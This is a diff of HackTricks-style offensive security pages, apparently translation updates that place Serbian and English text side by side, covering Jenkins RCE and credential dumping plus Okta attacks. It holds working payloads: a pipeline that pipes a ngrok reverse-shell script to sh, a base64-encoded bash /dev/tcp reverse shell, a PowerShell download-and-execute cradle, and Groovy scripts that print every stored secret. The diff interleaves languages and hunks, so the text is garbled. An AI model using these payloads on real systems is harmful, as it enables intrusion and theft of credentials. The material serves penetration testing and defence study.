Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenje odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju" u kriptožargonu) je **pohranjen \_nekriptovano\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API-ja za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju:
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`: korišćen za generičke tajne;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: korišćen za neke tipove akreditiva;
- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### Pristup Akreditivima
### Credentials Access
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **specifične projekte** (`/job/<project-name>/configure`) i stoga dostupni samo iz specifičnog projekta.
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** od redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**Zato napadač treba, na primer, da ih base64 kodira da bi ih eksfiltrirao.**
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
## Reference
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,3 +92,6 @@ Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-mas
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak:
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
### Attack Prerequisites
- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevano podešavanje).
- **Access Levels:** Napadač treba Overall/Read dozvole.
- **Secret Access:** Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka.
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
### Detailed Exploitation Process
@@ -18,18 +18,18 @@ Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvolj
**User Information Retrieval**
- Pristupite korisničkoj konfiguraciji i tajnama iz `$JENKINS_HOME/users/*.xml` za svakog korisnika da prikupite:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
**Secret Key Extraction**
- Izvucite kriptografske ključeve korišćene za potpisivanje kolačića:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
@@ -37,69 +37,72 @@ Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvolj
- **Calculate Token Expiry Time:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedan sat trenutnom vremenu
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
- **Concatenate Data for Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC Key Decryption**
- **Decrypt MAC Key File:**
```javascript
key = toAes128Key(masterKey) // Konvertuje master ključ u AES128 format
decrypted = AES.decrypt(macFile, key) // Dešifruje .mac datoteku
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signature Computation**
- **Compute HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ
tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string
```
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
**Cookie Encoding**
- **Generate Final Cookie:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodira podatke kolačića
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
#### Step 3: Code Execution
**Session Authentication**
- **Fetch CSRF and Session Tokens:**
- Napravite zahtev ka `/crumbIssuer/api/json` da dobijete `Jenkins-Crumb`.
- Zabeležite `JSESSIONID` iz odgovora, koji će se koristiti zajedno sa kolačićem "remember-me".
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
**Command Execution Request**
- **Send a POST Request with Groovy Script:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja.
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,9 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Imajte na umu da će ovi skripti samo prikazati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
Možete **izvući sve tajne iz Groovy Script konzole** u `/script` pokretanjem ovog koda
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
return
```
#### ili ovaj:
#### or this one:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,37 +1,42 @@
# Jenkins RCE Kreiranje/Modifikovanje Pipelines
# Jenkins RCE Creating/Modifying Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Kreiranje novog Pipelines
## Creating a new Pipeline
U "New Item" (dostupno na `/view/all/newJob`) izaberite **Pipeline:**
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
![](<../../images/image (235).png>)
U **Pipeline sekciji** napišite **reverse shell**:
In the **Pipeline section** write the **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Na kraju kliknite na **Save**, i **Build Now** i pipeline će biti izvršen:
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
![](<../../images/image (228).png>)
## Modifikovanje Pipeline-a
## Modifying a Pipeline
Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen.
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,36 +1,39 @@
# Jenkins RCE Kreiranje/Modifikovanje Projekta
# Jenkins RCE Creating/Modifying Project
{{#include ../../banners/hacktricks-training.md}}
## Kreiranje Projekta
## Creating a Project
Ova metoda je veoma bučna jer morate da kreirate potpuno novi projekat (očigledno, ovo će raditi samo ako korisnik ima dozvolu da kreira novi projekat).
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1. **Kreirajte novi projekat** (Freestyle projekat) klikom na "New Item" ili u `/view/all/newJob`
2. Unutar **Build** sekcije postavite **Execute shell** i nalepite powershell Empire launcher ili meterpreter powershell (može se dobiti korišćenjem _unicorn_). Pokrenite payload sa _PowerShell.exe_ umesto korišćenjem _powershell._
3. Kliknite na **Build now**
1. Ako **Build now** dugme ne pojavljuje, još uvek možete otići na **configure** --> **Build Triggers** --> `Build periodically` i postaviti cron na `* * * * *`
2. Umesto korišćenja crona, možete koristiti konfiguraciju "**Trigger builds remotely**" gde samo treba da postavite ime api tokena za pokretanje posla. Zatim idite na svoj korisnički profil i **generišite API token** (nazovite ovaj API token kao što ste nazvali api token za pokretanje posla). Na kraju, pokrenite posao sa: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Modifikovanje Projekta
## Modifying a Project
Idite na projekte i proverite **da li možete da konfigurišete bilo koji** od njih (potražite "Configure dugme"):
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
![](<../../images/image (265).png>)
Ako **ne možete** da vidite bilo koje **konfiguracijsko** **dugme** onda **ne možete** **konfigurisati** verovatno (ali proverite sve projekte jer možda možete da konfigurišete neke od njih, a ne druge).
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Ili **pokušajte da pristupite putanji** `/job/<proj-name>/configure` ili `/me/my-views/view/all/job/<proj-name>/configure` \_\_ u svakom projektu (primer: `/job/Project0/configure` ili `/me/my-views/view/all/job/Project0/configure`).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
## Izvršenje
## Execution
Ako imate dozvolu da konfigurišete projekat, možete **naterati ga da izvršava komande kada je build uspešan**:
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](<../../images/image (98).png>)
Kliknite na **Save** i **build** projekat i vaša **komanda će biti izvršena**.\
Ako ne izvršavate reverse shell već jednostavnu komandu, možete **videti izlaz komande unutar izlaza build-a**.
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,24 +1,27 @@
# Jenkins RCE sa Groovy skriptom
# Jenkins RCE with Groovy Script
{{#include ../../banners/hacktricks-training.md}}
## Jenkins RCE sa Groovy skriptom
## Jenkins RCE with Groovy Script
Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
1. Idite na _path_jenkins/script_
2. Unutar tekstualnog okvira unesite skript
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Možete izvršiti komandu koristeći: `cmd.exe /c dir`
U **linuxu** možete uraditi: **`"ls /".execute().text`**
You could execute a command using: `cmd.exe /c dir`
Ako trebate koristiti _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) za izvršavanje payload-a.
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
**Još jedan koristan groovy skript** je (zameni \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Obrnuta ljuska u linuxu
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Обратна љуска у Виндовс
Можете припремити HTTP сервер са PS обратном љуском и користити Jeking да је преузмете и извршите:
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Скрипт
Можете автоматизовати овај процес са [**овим скриптом**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
### Script
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
Можете користити MSF да добијете реверзну шелл:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,113 +2,116 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
[Okta, Inc.](https://www.okta.com/) je prepoznata u sektoru upravljanja identitetom i pristupom zbog svojih rešenja zasnovanih na oblaku. Ova rešenja su dizajnirana da pojednostave i osiguraju autentifikaciju korisnika kroz različite moderne aplikacije. Ona su namenjena ne samo kompanijama koje žele da zaštite svoje osetljive podatke, već i programerima koji su zainteresovani za integraciju kontrola identiteta u aplikacije, veb usluge i uređaje.
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
Glavna ponuda Okta je **Okta Identity Cloud**. Ova platforma obuhvata paket proizvoda, uključujući, ali ne ograničavajući se na:
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
- **Single Sign-On (SSO)**: Pojednostavljuje pristup korisnika omogućavajući jedan set prijavnih podataka za više aplikacija.
- **Multi-Factor Authentication (MFA)**: Povećava sigurnost zahtevajući više oblika verifikacije.
- **Lifecycle Management**: Automatizuje procese kreiranja, ažuriranja i deaktivacije korisničkih naloga.
- **Universal Directory**: Omogućava centralizovano upravljanje korisnicima, grupama i uređajima.
- **API Access Management**: Osigurava i upravlja pristupom API-jevima.
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavljenje pristupa korisnicima, poboljšavajući i sigurnost i pogodnost. Svestranost Okta rešenja čini ih popularnim izborom u različitim industrijama, korisnim za velike preduzeća, male kompanije i pojedinačne programere. Na poslednjem ažuriranju u septembru 2021. godine, Okta je priznata kao istaknuta entitet u oblasti upravljanja identitetom i pristupom (IAM).
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
> [!CAUTION]
> Glavni cilj Okta je da konfiguriše pristup različitim korisnicima i grupama za spoljne aplikacije. Ako uspete da **kompromitujete administratorske privilegije u Okta** okruženju, verovatno ćete moći da **kompromitujete sve druge platforme koje kompanija koristi**.
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> [!TIP]
> Da biste izvršili bezbednosni pregled Okta okruženja, trebali biste zatražiti **administratorski pristup samo za čitanje**.
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
### Sažetak
### Summary
Postoje **korisnici** (koji mogu biti **smešteni u Okta,** prijavljeni iz konfigurisane **Identitet Provajdere** ili autentifikovani putem **Active Directory** ili LDAP).\
Ovi korisnici mogu biti unutar **grupa**.\
Postoje i **autentifikatori**: različite opcije za autentifikaciju kao što su lozinka, i nekoliko 2FA kao što su WebAuthn, email, telefon, okta verify (mogu biti omogućeni ili onemogućeni)...
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
Zatim, postoje **aplikacije** sinhronizovane sa Okta. Svaka aplikacija će imati neku **mapu sa Okta** za deljenje informacija (kao što su email adrese, imena...). Štaviše, svaka aplikacija mora biti unutar **Politike autentifikacije**, koja označava **potrebne autentifikatore** za korisnika da **pristupi** aplikaciji.
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
> [!CAUTION]
> Najmoćnija uloga je **Super Administrator**.
> The most powerful role is **Super Administrator**.
>
> Ako napadač kompromituje Okta sa administratorskim pristupom, sve **aplikacije koje veruju Okta** će verovatno biti **kompromitovane**.
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
## Napadi
## Attacks
### Lociranje Okta portala
### Locating Okta Portal
Obično će portal kompanije biti lociran na **companyname.okta.com**. Ako nije, pokušajte jednostavne **varijacije** **companyname.** Ako ne možete da ga pronađete, takođe je moguće da organizacija ima **CNAME** zapis kao **`okta.companyname.com`** koji upućuje na **Okta portal**.
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
### Prijava u Okta putem Kerberosa
### Login in Okta via Kerberos
Ako je **`companyname.kerberos.okta.com`** aktivan, **Kerberos se koristi za pristup Okta**, obično zaobilazeći **MFA** za **Windows** korisnike. Da biste pronašli Kerberos-autentifikovane Okta korisnike u AD, pokrenite **`getST.py`** sa **odgovarajućim parametrima**. Nakon dobijanja **AD korisničkog tiketa**, **ubacite** ga u kontrolisani host koristeći alate kao što su Rubeus ili Mimikatz, osiguravajući da je **`clientname.kerberos.okta.com` u "Intranet" zoni Internet opcija**. Pristup određenom URL-u trebao bi da vrati JSON "OK" odgovor, što ukazuje na prihvatanje Kerberos tiketa i omogućava pristup Okta kontrolnoj tabli.
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
Kompromitovanje **Okta servisnog naloga sa delegacijom SPN omogućava Silver Ticket napad.** Međutim, korišćenje **AES** za enkripciju tiketa zahteva posedovanje AES ključa ili lozinke u običnom tekstu. Koristite **`ticketer.py` da generišete tiket za korisnika žrtve** i isporučite ga putem pregledača da biste se autentifikovali sa Okta.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Otimanje Okta AD agenta
### Hijacking Okta AD Agent
Ova tehnika uključuje **pristupanje Okta AD agentu na serveru**, koji **sinhronizuje korisnike i upravlja autentifikacijom**. Istražujući i dekriptovanjem konfiguracija u **`OktaAgentService.exe.config`**, posebno AgentToken koristeći **DPAPI**, napadač može potencijalno **presresti i manipulisati podacima o autentifikaciji**. Ovo omogućava ne samo **praćenje** i **hvatanje korisničkih podataka** u običnom tekstu tokom Okta procesa autentifikacije, već i **odgovaranje na pokušaje autentifikacije**, čime se omogućava neovlašćen pristup ili pružanje univerzalne autentifikacije putem Okta (slično 'skeleton key').
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Otimanje AD kao administrator
### Hijacking AD As an Admin
Ova tehnika uključuje otimanje Okta AD agenta prvo dobijanjem OAuth koda, a zatim traženjem API tokena. Token je povezan sa AD domenom, a **konektor je imenovan da uspostavi lažni AD agent**. Inicijalizacija omogućava agentu da **obrađuje pokušaje autentifikacije**, hvatajući kredencijale putem Okta API-ja. Alati za automatizaciju su dostupni za pojednostavljenje ovog procesa, nudeći besprekornu metodu za presretanje i rukovanje podacima o autentifikaciji unutar Okta okruženja.
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Lažni Okta SAML provajder
### Okta Fake SAML Provider
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
